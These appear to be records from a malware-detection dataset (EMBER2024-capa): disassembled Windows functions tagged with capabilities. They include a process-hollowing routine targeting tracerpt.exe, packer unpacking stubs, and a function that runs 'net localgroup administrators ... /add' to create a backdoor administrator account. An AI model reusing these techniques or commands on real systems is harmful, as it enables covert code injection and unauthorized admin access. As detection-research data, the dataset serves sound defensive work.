joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006c90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x6a0
mov rax, qword [0x14002eb60]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rbp, qword [0x1400330b8]
mov rbx, rdx
xor edx, edx
movsxd rdi, ecx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.140010b80
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.140010b80
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.140010b80
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.140006f20
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140006e54
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6d0], rsi
mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140006e39
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006e39
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140006e39
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140006e3d
xor eax, eax
jmp 0x140006e4c
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6d0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.14000ecc0
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6a0
pop r12
pop rdi
pop rbp
ret
Function at 0x140008530
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x58]
mov rdi, rdx
mov rbx, r8
mov rdx, rcx
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test eax, eax
je 0x1400085f9
lea rdx, [0x140028400]
lea rcx, [0x14002e470]
call fcn.14000bb80
mov edx, esi
mov rcx, rax
call fcn.140008dd0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140008fb0
mov rcx, qword [rdi]
xor ebx, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x1400085c2
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1400085e7
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1400085df
or edx, 4
xor r8d, r8d
call fcn.140007190
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
mov r9d, 1
lea eax, [rax + rax + 2]
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x1400086c2
lea rdx, [0x140028418]
lea rcx, [0x14002e470]
call fcn.14000bb80
mov edx, ebx
mov rcx, rax
call fcn.140008dd0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140008fb0
mov rcx, qword [rdi]
xor ebx, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x140008680
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1400086a5
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x14000869d
or edx, 4
xor r8d, r8d
call fcn.140007190
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x140008c90
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rcx, [0x140008c60]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
call fcn.140007820
xor r11d, r11d
lea r8, [0x1400086e0]
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x140034360], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140034360]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x38
ret

Function at 0x14001467f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002eb60]
jne 0x14000ecda
rol rcx, 0x10
test cx, 0xffff
jne 0x14000ecd6
repz ret
ror rcx, 0x10
jmp 0x1400145d8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140031130]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140031228]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001465d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140031130]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001467f
mov rax, qword [rsp + 0x88]
mov qword [0x140031228], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400311c8], rax
mov rax, qword [0x140031228]
mov qword [0x1400310a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400311b0], rax
mov dword [0x140031090], 0xc0000409
mov dword [0x140031094], 1
mov rax, qword [0x14002eb60]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002eb68]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140031128], eax
mov ecx, 1
call fcn.14001ce08
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140025780]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140031128], 0
jne 0x140014706
mov ecx, 1
call fcn.14001ce08
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140014c6c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140014adc
Function at 0x14001cf14
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14002eb60]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400160e4
xor ebx, ebx
cmp qword [0x1400321c8], rbx
mov rdi, rax
jne 0x14001d027
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001d0fe
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001d0fe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400321c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400321d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400321d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400321e8], rax
test rax, rax
je 0x14001d01e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400321e0], rax
jmp 0x14001d02e
mov rax, qword [0x1400321e0]
jmp 0x14001d035
mov rax, qword [0x1400321e0]
mov r11, qword [0x1400321e8]
cmp rax, rdi
je 0x14001d09c
cmp r11, rdi
je 0x14001d09c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400321e8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001d09c
test rax, rax
je 0x14001d09c
call rsi
test rax, rax
je 0x14001d096
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001d096
test byte [rsp + 0x40], 1
jne 0x14001d09c
bts ebp, 0x15
jmp 0x14001d0dc
mov rcx, qword [0x1400321d0]
cmp rcx, rdi
je 0x14001d0dc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001d0dc
call rax
mov rbx, rax
test rax, rax
je 0x14001d0dc
mov rcx, qword [0x1400321d8]
cmp rcx, rdi
je 0x14001d0dc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001d0dc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400321c8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001d0fe
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14001d100
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000ecc0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x401f60
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x402114
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401fac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402039
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401f90
mov rcx, rbx
call fcn.00402c30
test rax, rax
mov r12, rax
je 0x402149
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402d60
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40212c
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x402032
sub eax, 0x40
and eax, 0xffffffbf
jne 0x4020b4
add dword [0x00408624], 1
cmp edi, 8
jae 0x402070
test dil, 4
jne 0x402100
test edi, edi
je 0x40205c
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40211b
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40205c
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x4020a0
jmp 0x40205c
add rsi, qword [0x00408628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402032
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00403150
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40205c
xor esi, esi
jmp 0x401fb7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40205c
mov rax, qword [0x00408628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call fcn.00403150
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00403150
nop
nop dword [rax]
Function at 0x4028a0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x4028f4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4028eb
test rsi, rsi
je 0x4028eb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4028d0
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402c30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405620]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x402c9d
mov rcx, r8
call fcn.00402b10
test eax, eax
je 0x402c9d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402c9d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402c94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402c9f
add rax, 0x28
cmp rax, r9
jne 0x402c80
xor eax, eax
add rsp, 0x28
ret

Function at 0x403150
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402ff0
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402ff0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x188dbb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x188dbbd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x188dbcd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x188dbb5
lea eax, [rcx + 1]
jmp 0x188dbdb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x188dbee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x188dbd4
sub eax, 3
jb 0x188dc0e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x188dc5d
sar eax, 1
movsxd rbp, eax
jb 0x188dc44
jmp 0x188dc1c
add ebx, ebx
jne 0x188dc1a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x188dc44
inc ecx
add ebx, ebx
jne 0x188dc2a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x188dc44
call r11
adc ecx, ecx
add ebx, ebx
jne 0x188dc3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x188dc2c
add ecx, 2
jmp 0x188dc49
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0188db72
jmp 0x188dbbd
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1477000]
mov eax, dword [rdi]
or eax, eax
je 0x188dcb9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x148d000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x188dc69
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x188dcb3
mov qword [rbx], rax
add rbx, 8
jmp 0x188dc89
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x188dcfd
cmp al, 0xef
ja 0x188dce5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x188dcc5
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x188dcd4
mov eax, dword [rdi]
add rdi, 4
jmp 0x188dcd4
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x188dd51
sub rsp, 0xffffffffffffff80
jmp 0x46e7a0
Function at 0x14000f650
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000f65d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000f66d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000f655
lea eax, [rcx + 1]
jmp 0x14000f67b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14000f68e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000f674
sub eax, 3
jb 0x14000f6ae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000f6fd
sar eax, 1
movsxd rbp, eax
jb 0x14000f6e4
jmp 0x14000f6bc
add ebx, ebx
jne 0x14000f6ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14000f6e4
inc ecx
add ebx, ebx
jne 0x14000f6ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14000f6e4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000f6dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000f6cc
add ecx, 2
jmp 0x14000f6e9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14000f612
jmp 0x14000f65d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x4800
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000f749
cmp rsi, rcx
jae 0x14000f751
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000f730
cmp al, 0x8f
ja 0x14000f730
cmp byte [rsi - 2], 0xf
je 0x14000f736
sub al, 0xe8
cmp al, 1
ja 0x14000f71a
cmp rsi, rcx
jae 0x14000f751
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000f720
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000f751
lodsb al, byte [rsi]
jmp 0x14000f730
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xd000]
mov eax, dword [rdi]
or eax, eax
je 0x14000f7ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf1dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000f75e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000f7a8
mov qword [rbx], rax
add rbx, 8
jmp 0x14000f77e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000f7e8
cmp al, 0xef
ja 0x14000f7da
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000f7ba
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000f7c9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000f83c
sub rsp, 0xffffffffffffff80
jmp 0x140004950
Function at 0x296201370
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x18], 3
je 0x2962013bb
cmp dword [rbp + 0x18], 3
ja 0x2962013c2
cmp dword [rbp + 0x18], 2
je 0x2962013be
cmp dword [rbp + 0x18], 2
ja 0x2962013c2
cmp dword [rbp + 0x18], 0
je 0x2962013c1
cmp dword [rbp + 0x18], 1
jne 0x2962013c2
lea rax, str.net_localgroup_administrators_SVC_C_UserATM__add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
jmp 0x2962013c2
nop
jmp 0x2962013c2
nop
jmp 0x2962013c2
nop
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x296201570
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x2962015e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x296207064]
mov rbx, rcx
test esi, esi
jle 0x296201710
mov rax, qword [0x296207068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x29620162b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2962016b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x296201610
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x296201732
mov rax, qword [0x296207068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x296207068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x296201717
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2962016ae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2962016c0
add dword [0x296207064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x296207068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2962016ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x296201638
mov rax, qword [0x296207068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
